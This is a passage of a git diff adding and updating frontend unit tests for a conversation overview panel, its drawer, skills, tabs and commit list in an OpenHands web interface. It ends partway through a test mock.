b/__tests__/components/features/conversation/conversation-overview-drawer-content.test.tsx new file mode 100644 index 000000000000..5ad02e370d5f --- /dev/null +++ b/__tests__/components/features/conversation/conversation-overview-drawer-content.test.tsx @@ -0,0 +1,260 @@ +import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; +import { render, screen, within } from "@testing-library/react"; +import userEvent from "@testing-library/user-event"; +import { beforeEach, describe, expect, it, vi } from "vitest"; +import { ConversationOverviewDrawerContent } from "#/components/features/conversation/conversation-overview-drawer-content"; +import { + ConversationOverviewDrawerProvider, + useConversationOverviewDrawer, +} from "#/components/features/conversation/conversation-overview-drawer-context"; +import { CONVERSATION_OVERVIEW_DRAWER_SECTION } from "#/components/features/conversation/conversation-overview-drawer.types"; +import { ActiveBackendProvider } from "#/contexts/active-backend-context"; +import SettingsService from "#/api/settings-service/settings-service.api"; +import SkillsService from "#/api/skills-service"; +import { MOCK_DEFAULT_USER_SETTINGS } from "#/mocks/handlers"; +import type { SkillInfo } from "#/types/settings"; + +vi.mock("#/hooks/use-conversation-overview-stats", () => ({ + useConversationOverviewStats: () => ({ + workspaceName: "demo", + }), +})); + +vi.mock("#/hooks/use-conversation-primary-repository", () => ({ + useConversationPrimaryRepository: () => ({ + repository: "openhands/agent-canvas", + provider: "github" as const, + branch: "main", + isConnected: true, + }), +})); + +vi.mock("#/hooks/query/use-repository-git-items", () => ({ + useRepositoryPullRequests: () => ({ + data: [], + isLoading: false, + isError: false, + }), + useRepositoryIssues: () => ({ + data: [], + isLoading: false, + isError: false, + }), +})); + +vi.mock("#/hooks/query/use-active-conversation", () => ({ + useActiveConversation: () => ({ + data: { selected_workspace: "/workspace/project/demo" }, + }), +})); + +vi.mock("#/hooks/query/use-automation-health", () => ({ + useAutomationHealth: () => ({ + data: { status: "ok" }, + isLoading: false, + refetch: vi.fn(), + }), +})); + +vi.mock("#/hooks/query/use-automations", () => ({ + useAutomations: () => ({ + data: { automations: [], total: 0 }, + isLoading: false, + isError: false, + refetch: vi.fn(), + }), + useToggleAutomation: () => ({ mutate: vi.fn() }), + useDeleteAutomation: () => ({ mutate: vi.fn(), isPending: false }), + useDispatchAutomation: () => ({ mutate: vi.fn() }), +})); + +vi.mock("#/hooks/use-tracking", () => ({ + useTracking: () => ({ + trackPrebuiltAutomationEnabled: vi.fn(), + }), +})); + +vi.mock("#/hooks/use-create-automation-in-chat", () => ({ + useCreateAutomationInChat: () => vi.fn(), +})); + +vi.mock("#/hooks/use-is-creating-conversation", () => ({ + useIsCreatingConversation: () => false, +})); + +vi.mock("#/hooks/mutation/use-create-conversation", () => ({ + useCreateConversation: () => ({ mutate: vi.fn(), isPending: false }), +})); + +function buildSkill(overrides: Partial = {}): SkillInfo { + return { + name: "deno", + type: "knowledge", + source: "/Users/test/.openhands/cache/skills/public-skills/skills/deno/SKILL.md", + description: "Use this skill for Deno projects.", + triggers: ["deno"], + version: "1.0.0", + license: "Apache-2.0", + compatibility: null, + metadata: null, + allowed_tools: null, + is_agentskills_format: true, + disable_model_invocation: false, + ...overrides, + }; +} + +function OpenSection({ + section, +}: { + section: (typeof CONVERSATION_OVERVIEW_DRAWER_SECTION)[keyof typeof CONVERSATION_OVERVIEW_DRAWER_SECTION]; +}) { + const { openSection } = useConversationOverviewDrawer(); + return ( + + ); +} + +function renderDrawer( + section: (typeof CONVERSATION_OVERVIEW_DRAWER_SECTION)[keyof typeof CONVERSATION_OVERVIEW_DRAWER_SECTION], +) { + return render( + + + + , + { + wrapper: ({ children }) => ( + + {children} + + ), + }, + ); +} + +describe("ConversationOverviewDrawerContent", () => { + beforeEach(() => { + vi.restoreAllMocks(); + vi.spyOn(SettingsService, "getSettings").mockResolvedValue( + MOCK_DEFAULT_USER_SETTINGS, + ); + vi.spyOn(SkillsService, "getSkills").mockResolvedValue([buildSkill()]); + }); + + it("places the close button left of the title and the add control on the right", async () => { + const user = userEvent.setup(); + renderDrawer(CONVERSATION_OVERVIEW_DRAWER_SECTION.skills); + + await user.click(screen.getByTestId("open-drawer-section")); + + const header = screen + .getByTestId("conversation-overview-drawer-content") + .querySelector("header"); + expect(header).not.toBeNull(); + expect(header).toHaveClass("h-10"); + expect(header).toHaveClass("min-h-10"); + expect(header).toHaveClass("pr-4"); + expect( + within(header as HTMLElement).getByTestId( + "conversation-overview-skills-add-skill-button", + ), + ).toHaveClass("h-7"); + + const headerItems = within(header as HTMLElement).getAllByRole("button"); + expect(headerItems[0]).toHaveAttribute( + "data-testid", + "conversation-overview-drawer-close", + ); + expect(headerItems[1]).toHaveAttribute( + "data-testid", + "conversation-overview-skills-add-skill-button", + ); + }); + + it("opens the add skill modal from the header add button", async () => { + const user = userEvent.setup(); + renderDrawer(CONVERSATION_OVERVIEW_DRAWER_SECTION.skills); + + await user.click(screen.getByTestId("open-drawer-section")); + await user.click( + await screen.findByTestId("conversation-overview-skills-add-skill-button"), + ); + + expect(await screen.findByTestId("add-skill-modal")).toBeInTheDocument(); + }); + + it("shows the automations add button in the header", async () => { + const user = userEvent.setup(); + renderDrawer(CONVERSATION_OVERVIEW_DRAWER_SECTION.automations); + + await user.click(screen.getByTestId("open-drawer-section")); + + expect( + await screen.findByTestId("conversation-overview-automations-add"), + ).toBeInTheDocument(); + expect( + screen.queryByTestId("conversation-overview-automations-panel") + ?.querySelector( + '[data-testid="conversation-overview-automations-add"]', + ), + ).toBeNull(); + }); + + it("shows the mcp add button in the header", async () => { + const user = userEvent.setup(); + renderDrawer(CONVERSATION_OVERVIEW_DRAWER_SECTION.mcp); + + await user.click(screen.getByTestId("open-drawer-section")); + + const header = screen + .getByTestId("conversation-overview-drawer-content") + .querySelector("header"); + expect( + within(header as HTMLElement).getByTestId( + "conversation-overview-mcp-add-server", + ), + ).toBeInTheDocument(); + }); + + it("places the view-on-provider link in the header for pull requests", async () => { + const user = userEvent.setup(); + renderDrawer(CONVERSATION_OVERVIEW_DRAWER_SECTION.pull_requests); + + await user.click(screen.getByTestId("open-drawer-section")); + + const header = screen + .getByTestId("conversation-overview-drawer-content") + .querySelector("header"); + const externalLink = within(header as HTMLElement).getByTestId( + "conversation-overview-pull_requests-open-external", + ); + + expect(externalLink).toHaveAttribute( + "href", + "https://github.com/openhands/agent-canvas/pulls", + ); + expect(externalLink).toHaveTextContent( + "CONVERSATION$OVERVIEW_VIEW_ON_PROVIDER", + ); + expect( + screen + .getByTestId("conversation-overview-pull_requests-panel") + .querySelector( + '[data-testid="conversation-overview-pull_requests-open-external"]', + ), + ).toBeNull(); + }); +}); diff --git a/__tests__/components/features/conversation/conversation-overview-panel.test.tsx b/__tests__/components/features/conversation/conversation-overview-panel.test.tsx new file mode 100644 index 000000000000..44b490704e8d --- /dev/null +++ b/__tests__/components/features/conversation/conversation-overview-panel.test.tsx @@ -0,0 +1,289 @@ +import { render, screen } from "@testing-library/react"; +import userEvent from "@testing-library/user-event"; +import { describe, it, expect, vi, beforeEach } from "vitest"; +import { ConversationOverviewPanel } from "#/components/features/conversation/conversation-overview-panel"; +import { NavigationProvider } from "#/context/navigation-context"; +import { ConversationOverviewDrawerProvider } from "#/components/features/conversation/conversation-overview-drawer-context"; +import { CONVERSATION_OVERVIEW_DRAWER_SECTION } from "#/components/features/conversation/conversation-overview-drawer.types"; + +const openSection = vi.fn(); +const closeDrawer = vi.fn(); +const navigateToCommits = vi.fn(); + +vi.mock("#/hooks/use-conversation-id", () => ({ + useConversationId: () => ({ conversationId: "conv-1" }), +})); + +vi.mock("#/hooks/use-conversation-overview-git-diff-stats", () => ({ + useConversationOverviewGitDiffStats: () => ({ + additions: 4161, + deletions: 1824, + changeCount: 3, + isLoading: false, + isError: false, + }), +})); + +vi.mock("#/hooks/use-select-conversation-tab", () => ({ + useSelectConversationTab: () => ({ + navigateToTab: vi.fn(), + navigateToChanges: vi.fn(), + navigateToCommits, + }), +})); + +vi.mock("#/hooks/query/use-active-conversation", () => ({ + useActiveConversation: () => ({ + data: { + id: "conv-1", + selected_workspace: "/workspace/project/demo", + llm_model: "openhands/test-model", + }, + }), +})); + +vi.mock("#/hooks/query/use-settings", () => ({ + useSettings: () => ({ + data: { + llm_model: "openhands/test-model", + agent_settings: { + mcp_config: { + mcpServers: { + example: { + url: "https://example.com/mcp", + }, + }, + }, + }, + }, + }), +})); + +vi.mock("#/hooks/use-conversation-primary-repository", () => ({ + useConversationPrimaryRepository: () => ({ + repository: "openhands/agent-canvas", + provider: "github" as const, + branch: "main", + isConnected: true, + }), +})); + +vi.mock("#/hooks/query/use-unified-git-commits", () => ({ + useUnifiedGitCommits: () => ({ + commits: [{ sha: "abc" }, { sha: "def" }, { sha: "ghi" }], + hasMore: false, + isUnsupported: false, + isLoading: false, + isFetching: false, + isSuccess: true, + isError: false, + }), +})); + +vi.mock("#/hooks/query/use-repository-git-items", () => ({ + useRepositoryPullRequests: () => ({ + data: [ + { + id: 1, + number: 10, + title: "Fix overview", + url: "https://github.com/openhands/agent-canvas/pull/10", + authorLogin: "dev", + updatedAt: null, + }, + ], + isLoading: false, + isError: false, + }), + useRepositoryIssues: () => ({ + data: [], + isLoading: false, + isError: false, + }), +})); + +vi.mock("#/api/conversation-metadata-store", () => ({ + getStoredConversationMetadata: () => ({ + selected_workspace: "/workspace/project/demo", + }), +})); + +vi.mock( + "#/components/features/conversation/conversation-overview-drawer-context", + async (importOriginal) => { + const actual = await importOriginal< + typeof import("#/components/features/conversation/conversation-overview-drawer-context") + >(); + return { + ...actual, + useConversationOverviewDrawerOptional: () => ({ + section: null, + openAdd: false, + openSection, + closeDrawer, + }), + }; + }, +); + +function renderPanel() { + return render( + + + + + , + ); +} + +describe("ConversationOverviewPanel", () => { + beforeEach(() => { + vi.clearAllMocks(); + localStorage.clear(); + }); + + it("renders workspace and git changes without MCP, secrets, skills, or automations", () => { + renderPanel(); + + expect(screen.getByTestId("conversation-overview-panel")).toBeInTheDocument(); + expect(screen.getByTestId("conversation-overview-workspace")).toBeInTheDocument(); + expect( + screen.queryByTestId("conversation-overview-git-title"), + ).not.toBeInTheDocument(); + expect(screen.getByTestId("conversation-overview-diffs")).toBeInTheDocument(); + expect( + screen.queryByTestId("conversation-overview-mcp"), + ).not.toBeInTheDocument(); + expect( + screen.queryByTestId("conversation-overview-automations"), + ).not.toBeInTheDocument(); + expect( + screen.queryByTestId("conversation-overview-skills"), + ).not.toBeInTheDocument(); + expect( + screen.queryByTestId("conversation-overview-secrets"), + ).not.toBeInTheDocument(); + expect( + screen.queryByTestId("conversation-overview-issues"), + ).not.toBeInTheDocument(); + }); + + it("shows changes inside the git area with commits and pull requests when a repo is connected", async () => { + const user = userEvent.setup(); + renderPanel(); + + const gitBlock = screen.getByTestId("conversation-overview-git-block"); + const diffs = screen.getByTestId("conversation-overview-diffs"); + expect(gitBlock).toContainElement(diffs); + + const workspace = screen.getByTestId("conversation-overview-workspace"); + const gitSection = screen.getByTestId("conversation-overview-git-section"); + // Workspace sits below the git content. + expect(gitSection.compareDocumentPosition(workspace)).toBe( + Node.DOCUMENT_POSITION_FOLLOWING, + ); + const repoLink = screen.getByTestId("conversation-overview-git-repo"); + expect(repoLink).toHaveTextContent("openhands/agent-canvas"); + expect(repoLink.getAttribute("href")).toContain("github.com"); + const branchLink = screen.getByTestId("conversation-overview-git-branch"); + expect(branchLink).toHaveTextContent("main"); + expect(branchLink).toHaveAttribute( + "href", + "https://github.com/openhands/agent-canvas/tree/main", + ); + expect( + screen.getByTestId("conversation-overview-commits-count"), + ).toHaveTextContent("3"); + expect( + screen.getByTestId("conversation-overview-pull-requests-count"), + ).toHaveTextContent("1"); + + await user.click(screen.getByTestId("conversation-overview-commits")); + expect(navigateToCommits).toHaveBeenCalled(); + + await user.click(screen.getByTestId("conversation-overview-pull-requests")); + expect(openSection).toHaveBeenCalledWith( + CONVERSATION_OVERVIEW_DRAWER_SECTION.pull_requests, + ); + }); + + it("lets users pin and unpin git changes from the overflow menu", async () => { + const user = userEvent.setup(); + renderPanel(); + + expect(screen.getByTestId("conversation-overview-diffs")).toBeInTheDocument(); + + await user.click(screen.getByTestId("conversation-overview-ellipsis")); + expect( + screen.getByTestId("conversation-overview-context-menu"), + ).toBeInTheDocument(); + expect( + screen.getByTestId("conversation-overview-menu-divider-git"), + ).toBeInTheDocument(); + expect( + screen.getByTestId("conversation-overview-menu-pin-git-changes"), + ).toHaveAttribute("aria-pressed", "true"); + + await user.click( + screen.getByTestId("conversation-overview-menu-pin-git-changes"), + ); + + expect( + screen.queryByTestId("conversation-overview-diffs"), + ).not.toBeInTheDocument(); + expect( + screen.getByTestId("conversation-overview-menu-pin-git-changes"), + ).toHaveAttribute("aria-pressed", "false"); + + await user.click( + screen.getByTestId("conversation-overview-menu-pin-git-changes"), + ); + + expect(screen.getByTestId("conversation-overview-diffs")).toBeInTheDocument(); + expect( + screen.getByTestId("conversation-overview-menu-pin-git-changes"), + ).toHaveAttribute("aria-pressed", "true"); + }); + + it("lets users unpin the git section and individual git parts from the overflow menu", async () => { + const user = userEvent.setup(); + renderPanel(); + + expect( + screen.getByTestId("conversation-overview-git-section"), + ).toBeInTheDocument(); + + await user.click(screen.getByTestId("conversation-overview-ellipsis")); + expect( + screen.getByTestId("conversation-overview-menu-pin-git"), + ).toHaveAttribute("aria-pressed", "true"); + expect( + screen.getByTestId("conversation-overview-menu-pin-git-branch"), + ).toHaveAttribute("aria-pressed", "true"); + + await user.click( + screen.getByTestId("conversation-overview-menu-pin-git-branch"), + ); + expect( + screen.queryByTestId("conversation-overview-git-branch"), + ).not.toBeInTheDocument(); + expect( + screen.getByTestId("conversation-overview-git-repo"), + ).toBeInTheDocument(); + + await user.click(screen.getByTestId("conversation-overview-menu-pin-git")); + expect( + screen.queryByTestId("conversation-overview-git-block"), + ).not.toBeInTheDocument(); + expect( + screen.getByTestId("conversation-overview-menu-pin-git"), + ).toHaveAttribute("aria-pressed", "false"); + }); +}); diff --git a/__tests__/components/features/conversation/conversation-overview-skills-panel.test.tsx b/__tests__/components/features/conversation/conversation-overview-skills-panel.test.tsx new file mode 100644 index 000000000000..ec89ba7b24c8 --- /dev/null +++ b/__tests__/components/features/conversation/conversation-overview-skills-panel.test.tsx @@ -0,0 +1,106 @@ +import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; +import { render, screen } from "@testing-library/react"; +import userEvent from "@testing-library/user-event"; +import { beforeEach, describe, expect, it, vi } from "vitest"; +import { ConversationOverviewSkillsPanel } from "#/components/features/conversation/conversation-overview-skills-panel"; +import SettingsService from "#/api/settings-service/settings-service.api"; +import SkillsService from "#/api/skills-service"; +import { MOCK_DEFAULT_USER_SETTINGS } from "#/mocks/handlers"; +import type { SkillInfo } from "#/types/settings"; +import { ActiveBackendProvider } from "#/contexts/active-backend-context"; + +vi.mock("#/hooks/query/use-active-conversation", () => ({ + useActiveConversation: () => ({ + data: { selected_workspace: "/workspace/project/demo" }, + }), +})); + +function buildSkill(overrides: Partial = {}): SkillInfo { + return { + name: "deno", + type: "knowledge", + source: "/Users/test/.openhands/cache/skills/public-skills/skills/deno/SKILL.md", + description: "Use this skill for Deno projects.", + triggers: ["deno"], + version: "1.0.0", + license: "Apache-2.0", + compatibility: null, + metadata: null, + allowed_tools: null, + is_agentskills_format: true, + disable_model_invocation: false, + ...overrides, + }; +} + +function renderPanel(openAdd = false) { + return render(, { + wrapper: ({ children }) => ( + + {children} + + ), + }); +} + +describe("ConversationOverviewSkillsPanel", () => { + beforeEach(() => { + vi.restoreAllMocks(); + vi.spyOn(SettingsService, "getSettings").mockResolvedValue( + MOCK_DEFAULT_USER_SETTINGS, + ); + }); + + it("opens the add skill modal when openAdd is true", async () => { + vi.spyOn(SkillsService, "getSkills").mockResolvedValue([buildSkill()]); + + renderPanel(true); + + expect(await screen.findByTestId("add-skill-modal")).toBeInTheDocument(); + }); + + it("shows the empty state without an inline add skill button", async () => { + vi.spyOn(SkillsService, "getSkills").mockResolvedValue([]); + + renderPanel(); + + expect( + await screen.findByTestId("conversation-overview-skills-empty"), + ).toBeInTheDocument(); + expect( + screen.queryByTestId("conversation-overview-skills-add-skill-button"), + ).not.toBeInTheDocument(); + }); + + it("defaults to this-project scope and can show all skills", async () => { + const user = userEvent.setup(); + vi.spyOn(SkillsService, "getSkills").mockResolvedValue([ + buildSkill({ + name: "project-skill", + source: "/workspace/project/demo/.openhands/skills/project/SKILL.md", + }), + buildSkill({ name: "public-skill" }), + ]); + + renderPanel(); + + expect( + await screen.findByTestId("conversation-overview-skills-scope"), + ).toBeInTheDocument(); + expect(await screen.findByText("project-skill")).toBeInTheDocument(); + expect(screen.queryByText("public-skill")).not.toBeInTheDocument(); + + await user.click( + screen.getByTestId("conversation-overview-skills-scope-option-all"), + ); + + expect(await screen.findByText("public-skill")).toBeInTheDocument(); + expect(screen.getByText("project-skill")).toBeInTheDocument(); + }); +}); diff --git a/__tests__/components/features/conversation/conversation-overview-toggle.test.tsx b/__tests__/components/features/conversation/conversation-overview-toggle.test.tsx new file mode 100644 index 000000000000..5d6cd9253505 --- /dev/null +++ b/__tests__/components/features/conversation/conversation-overview-toggle.test.tsx @@ -0,0 +1,126 @@ +import { render, screen } from "@testing-library/react"; +import userEvent from "@testing-library/user-event"; +import { describe, it, expect, vi, beforeEach } from "vitest"; +import { ConversationOverviewToggle } from "#/components/features/conversation/conversation-overview-toggle"; +import { useConversationStore } from "#/stores/conversation-store"; + +const { breakpointIsMobile } = vi.hoisted(() => ({ + breakpointIsMobile: { value: false }, +})); + +vi.mock("#/hooks/use-breakpoint", () => ({ + useBreakpoint: () => breakpointIsMobile.value, +})); + +vi.mock("#/hooks/use-is-archived-conversation", () => ({ + useIsArchivedConversation: () => false, +})); + +vi.mock("#/components/features/conversation/conversation-overview-panel", () => ({ + ConversationOverviewPanel: () => ( +
    + ), +})); + +describe("ConversationOverviewToggle", () => { + beforeEach(() => { + breakpointIsMobile.value = false; + useConversationStore.setState({ + isOverviewPanelShown: false, + isOverviewPanelPeeked: false, + isRightPanelShown: false, + hasRightPanelToggled: false, + }); + }); + + it("toggles the overview panel when clicked", async () => { + const user = userEvent.setup(); + render(); + + await user.click(screen.getByTestId("conversation-overview-toggle")); + expect(useConversationStore.getState().isOverviewPanelShown).toBe(true); + + await user.click(screen.getByTestId("conversation-overview-toggle")); + expect(useConversationStore.getState().isOverviewPanelShown).toBe(false); + }); + + it("closes the files drawer and shows overview when the files drawer is open", async () => { + const user = userEvent.setup(); + useConversationStore.setState({ + isOverviewPanelShown: false, + isRightPanelShown: true, + hasRightPanelToggled: true, + }); + render(); + + await user.click(screen.getByTestId("conversation-overview-toggle")); + + const state = useConversationStore.getState(); + expect(state.isRightPanelShown).toBe(false); + expect(state.hasRightPanelToggled).toBe(false); + expect(state.isOverviewPanelShown).toBe(true); + }); + + it("closes the overview panel when the right drawer opens", () => { + useConversationStore.setState({ + isOverviewPanelShown: true, + isRightPanelShown: false, + }); + + const { rerender } = render(); + expect(useConversationStore.getState().isOverviewPanelShown).toBe(true); + + useConversationStore.setState({ isRightPanelShown: true }); + rerender(); + + expect(useConversationStore.getState().isOverviewPanelShown).toBe(false); + }); + + it("peeks the overview on hover while the right drawer is open", async () => { + const user = userEvent.setup(); + useConversationStore.setState({ + isOverviewPanelShown: false, + isRightPanelShown: true, + }); + render(); + + await user.hover(screen.getByTestId("conversation-overview-toggle")); + + expect(useConversationStore.getState().isOverviewPanelPeeked).toBe(true); + expect(useConversationStore.getState().isOverviewPanelShown).toBe(false); + expect(screen.getByTestId("conversation-overview-peek")).toBeInTheDocument(); + expect( + screen.getByTestId("conversation-overview-panel"), + ).toBeInTheDocument(); + }); + + it("does not peek the overview on hover when the right drawer is closed", async () => { + const user = userEvent.setup(); + render(); + + await user.hover(screen.getByTestId("conversation-overview-toggle")); + + expect(useConversationStore.getState().isOverviewPanelPeeked).toBe(false); + expect( + screen.queryByTestId("conversation-overview-peek"), + ).not.toBeInTheDocument(); + }); + + it("stays visible and supports hover peek on smaller screens", async () => { + const user = userEvent.setup(); + breakpointIsMobile.value = true; + useConversationStore.setState({ + isOverviewPanelShown: false, + isRightPanelShown: true, + }); + render(); + + const toggle = screen.getByTestId("conversation-overview-toggle"); + expect(toggle).toBeInTheDocument(); + + await user.hover(toggle); + + expect(useConversationStore.getState().isOverviewPanelPeeked).toBe(true); + expect(screen.getByTestId("conversation-overview-peek")).toBeInTheDocument(); + }); +}); diff --git a/__tests__/components/features/conversation/conversation-tabs-context-menu.test.tsx b/__tests__/components/features/conversation/conversation-tabs-context-menu.test.tsx index 36c60f338798..6dd3f78d10b4 100644 --- a/__tests__/components/features/conversation/conversation-tabs-context-menu.test.tsx +++ b/__tests__/components/features/conversation/conversation-tabs-context-menu.test.tsx @@ -62,11 +62,18 @@ describe("ConversationTabsContextMenu", () => { it("should render all default tabs when open", () => { render(); - const expectedTabs = ["COMMON$FILES", "COMMON$TERMINAL", "COMMON$BROWSER"]; + const expectedTabs = [ + "COMMON$FILES", + "DIFF_VIEWER$COMMITS", + "COMMON$TERMINAL", + "COMMON$BROWSER", + ]; for (const tab of expectedTabs) { expect(screen.getByText(tab)).toBeInTheDocument(); } + expect(screen.queryByText("FILES$DIFF_VIEW")).not.toBeInTheDocument(); + // Planner is cloud-only; on the default (local) backend it is hidden. expect(screen.queryByText("COMMON$PLANNER")).not.toBeInTheDocument(); }); @@ -132,13 +139,14 @@ describe("ConversationTabsContextMenu", () => { const storeState = useConversationStore.getState(); expect(storeState.hasRightPanelToggled).toBe(true); - expect(storeState.selectedTab).toBe("terminal"); + // Next pinned tab after Files is Commits. + expect(storeState.selectedTab).toBe("commits"); const storedState = JSON.parse( localStorage.getItem(`conversation-state-${CONVERSATION_ID}`)!, ); expect(storedState.unpinnedTabs).toContain("files"); - expect(storedState.selectedTab).toBe("terminal"); + expect(storedState.selectedTab).toBe("commits"); }); it("should not close the right panel when unpinning a non-active tab", async () => { diff --git a/__tests__/components/features/conversation/conversation-tabs.test.tsx b/__tests__/components/features/conversation/conversation-tabs.test.tsx index 11b01527e41b..7a145ee986d5 100644 --- a/__tests__/components/features/conversation/conversation-tabs.test.tsx +++ b/__tests__/components/features/conversation/conversation-tabs.test.tsx @@ -82,6 +82,8 @@ const seedConversationState = ( JSON.stringify({ selectedTab: "files", unpinnedTabs: [], + unpinnedOverviewSections: [], + unpinnedOverviewGitParts: [], conversationMode: "code", subConversationTaskId: null, draftMessage: null, @@ -102,6 +104,7 @@ function seedActiveBackend(backend: Backend): void { const setActiveTabState = (tab: "files" | "planner") => { seedConversationState(REAL_CONVERSATION_ID, { selectedTab: tab, + rightPanelShown: true, }); useConversationStore.setState({ selectedTab: tab, @@ -160,9 +163,7 @@ describe("ConversationTabs localStorage behavior", () => { const parsed = JSON.parse(storedState!); expect(parsed).toHaveProperty("selectedTab"); expect(parsed).toHaveProperty("unpinnedTabs"); - // The right-drawer open state is session-only and must never - // be persisted into the consolidated conversation-state blob. - expect(parsed).not.toHaveProperty("rightPanelShown"); + expect(parsed.rightPanelShown).toBe(true); }); }); @@ -186,16 +187,15 @@ describe("ConversationTabs localStorage behavior", () => { const terminalTab = screen.getByTestId("conversation-tab-terminal"); await user.click(terminalTab); - // Assert: Panel should be open and terminal tab selected (in-memory only). + // Assert: Panel should be open and terminal tab selected. expect(useConversationStore.getState().selectedTab).toBe("terminal"); expect(useConversationStore.getState().hasRightPanelToggled).toBe(true); - // Tab selection persists to localStorage; drawer-open state does not. const storedState = JSON.parse( localStorage.getItem(`conversation-state-${REAL_CONVERSATION_ID}`)!, ); expect(storedState.selectedTab).toBe("terminal"); - expect(storedState).not.toHaveProperty("rightPanelShown"); + expect(storedState.rightPanelShown).toBe(true); }); it("should close panel when clicking the same active tab", async () => { @@ -203,6 +203,10 @@ describe("ConversationTabs localStorage behavior", () => { const user = userEvent.setup(); // Arrange: Panel is open with editor tab selected + seedConversationState(REAL_CONVERSATION_ID, { + selectedTab: "files", + rightPanelShown: true, + }); useConversationStore.setState({ selectedTab: "files", isRightPanelShown: true, @@ -217,17 +221,13 @@ describe("ConversationTabs localStorage behavior", () => { const editorTab = screen.getByTestId("conversation-tab-files"); await user.click(editorTab); - // Assert: Panel should be closed (in-memory only). + // Assert: Panel should be closed and persisted. expect(useConversationStore.getState().hasRightPanelToggled).toBe(false); - // localStorage must NOT carry the drawer-open state — that's - // session-only by design. - const raw = localStorage.getItem( - `conversation-state-${REAL_CONVERSATION_ID}`, + const storedState = JSON.parse( + localStorage.getItem(`conversation-state-${REAL_CONVERSATION_ID}`)!, ); - if (raw !== null) { - expect(JSON.parse(raw)).not.toHaveProperty("rightPanelShown"); - } + expect(storedState.rightPanelShown).toBe(false); }); it("should switch to different tab when clicking another tab while panel is open", async () => { @@ -235,6 +235,10 @@ describe("ConversationTabs localStorage behavior", () => { const user = userEvent.setup(); // Arrange: Panel is open with editor tab selected + seedConversationState(REAL_CONVERSATION_ID, { + selectedTab: "files", + rightPanelShown: true, + }); useConversationStore.setState({ selectedTab: "files", isRightPanelShown: true, @@ -289,7 +293,7 @@ describe("ConversationTabs localStorage behavior", () => { expect(refreshButtons).toHaveLength(0); }); - it("places the Files tab leftmost in the tab bar", () => { + it("places the Files tab leftmost, followed by Commits", () => { setActiveTabState("files"); render(, { @@ -300,8 +304,13 @@ describe("ConversationTabs localStorage behavior", () => { document.querySelectorAll('[data-testid^="conversation-tab-"]'), ); const testIds = tabs.map((t) => t.getAttribute("data-testid")); - // Files must be the first tab rendered in the bar. + // Files must be the first tab; Commits sits beside it as the git view. expect(testIds[0]).toBe("conversation-tab-files"); + expect(testIds).toContain("conversation-tab-commits"); + expect(testIds).not.toContain("conversation-tab-changes"); + expect(testIds.indexOf("conversation-tab-files")).toBeLessThan( + testIds.indexOf("conversation-tab-commits"), + ); }); it("keeps Files leftmost even when the task list tab is present", () => { @@ -335,6 +344,7 @@ describe("ConversationTabs localStorage behavior", () => { seedConversationState(REAL_CONVERSATION_ID, { selectedTab: "planner", unpinnedTabs: ["planner"], + rightPanelShown: true, }); useConversationStore.setState({ selectedTab: "planner", @@ -365,6 +375,7 @@ describe("ConversationTabs localStorage behavior", () => { seedConversationState(REAL_CONVERSATION_ID, { selectedTab: "files", unpinnedTabs: ["planner"], + rightPanelShown: true, }); useConversationStore.setState({ selectedTab: "files", diff --git a/__tests__/components/features/conversation/right-panel-toggle.test.tsx b/__tests__/components/features/conversation/right-panel-toggle.test.tsx index f3a17912b52a..a4fd8dba39d2 100644 --- a/__tests__/components/features/conversation/right-panel-toggle.test.tsx +++ b/__tests__/components/features/conversation/right-panel-toggle.test.tsx @@ -61,10 +61,10 @@ describe("RightPanelToggle", () => { expect(storeState.hasRightPanelToggled).toBe(false); expect(storeState.isRightPanelShown).toBe(false); - const raw = localStorage.getItem(`conversation-state-${CONVERSATION_ID}`); - if (raw !== null) { - expect(JSON.parse(raw)).not.toHaveProperty("rightPanelShown"); - } + const storedState = JSON.parse( + localStorage.getItem(`conversation-state-${CONVERSATION_ID}`)!, + ); + expect(storedState.rightPanelShown).toBe(false); }); it("should show the panel when clicked while panel is hidden", async () => { @@ -84,10 +84,10 @@ describe("RightPanelToggle", () => { expect(storeState.hasRightPanelToggled).toBe(true); expect(storeState.isRightPanelShown).toBe(true); - const raw = localStorage.getItem(`conversation-state-${CONVERSATION_ID}`); - if (raw !== null) { - expect(JSON.parse(raw)).not.toHaveProperty("rightPanelShown"); - } + const storedState = JSON.parse( + localStorage.getItem(`conversation-state-${CONVERSATION_ID}`)!, + ); + expect(storedState.rightPanelShown).toBe(true); }); it("should have aria-pressed attribute reflecting panel state on desktop", () => { diff --git a/__tests__/components/features/diff-viewer/commit-list.test.tsx b/__tests__/components/features/diff-viewer/commit-list.test.tsx new file mode 100644 index 000000000000..1d9794899916 --- /dev/null +++ b/__tests__/components/features/diff-viewer/commit-list.test.tsx @@ -0,0 +1,177 @@ +import React from "react"; +import { render, screen } from "@testing-library/react"; +import userEvent from "@testing-library/user-event"; +import { describe, it, expect, vi } from "vitest"; +import { CommitList } from "#/components/features/diff-viewer/commit-list"; +import type { GitCommit } from "#/api/open-hands.types"; + +vi.mock("react-i18next", () => ({ + useTranslation: () => ({ + t: (key: string, options?: { count?: number }) => { + if ( + key === "DIFF_VIEWER$UNCOMMITTED_FILE_COUNT" && + typeof options?.count === "number" + ) { + return options.count === 1 + ? `${options.count} file` + : `${options.count} files`; + } + return key; + }, + }), +})); + +vi.mock("#/hooks/query/use-commit-changes", () => ({ + useCommitChanges: () => ({ + data: undefined, + isLoading: false, + isSuccess: false, + }), +})); + +vi.mock("#/components/features/diff-viewer/diff-change-list", () => ({ + DiffChangeList: ({ + changes, + }: { + changes: Array<{ path: string; status: string }>; + }) => ( +
    + {changes.map((change) => ( +
    {change.path}
    + ))} +
